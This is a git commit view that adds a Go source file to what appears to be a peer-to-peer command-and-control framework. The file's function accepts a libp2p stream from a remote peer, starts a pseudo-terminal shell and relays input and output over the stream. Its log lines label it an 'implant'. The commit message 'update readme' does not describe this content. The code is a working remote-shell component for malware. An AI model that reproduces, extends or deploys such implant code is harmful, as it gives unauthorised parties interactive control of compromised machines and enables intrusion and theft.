update readme

This commit is contained in:
2026-07-07 04:37:29 +01:00
commit 50cbc601d5
69 changed files with 15056 additions and 0 deletions
+45
View File
@@ -0,0 +1,45 @@
//go:build !windows
package core
import (
"encoding/binary"
"io"
"log"
"github.com/creack/pty"
"github.com/libp2p/go-libp2p/core/network"
)
func (a *Agent) handleShellStream(s network.Stream) {
defer s.Close()
remotePeer := s.Conn().RemotePeer()
var winsize pty.Winsize
if err := binary.Read(s, binary.LittleEndian, &winsize.Rows); err != nil {
log.Printf("[implant] read shell rows: %v", err)
return
}
if err := binary.Read(s, binary.LittleEndian, &winsize.Cols); err != nil {
log.Printf("[implant] read shell cols: %v", err)
return
}
if winsize.Rows < 10 || winsize.Cols < 10 {
winsize.Rows = 30
winsize.Cols = 120
}
cmd := shellCommand()
f, err := pty.StartWithSize(cmd, &winsize)
if err != nil {
log.Printf("[implant] pty start: %v", err)
return
}
defer f.Close()
go io.Copy(f, s)
io.Copy(s, f)
cmd.Wait()
log.Printf("[implant] shell session ended for %s", remotePeer.String())
}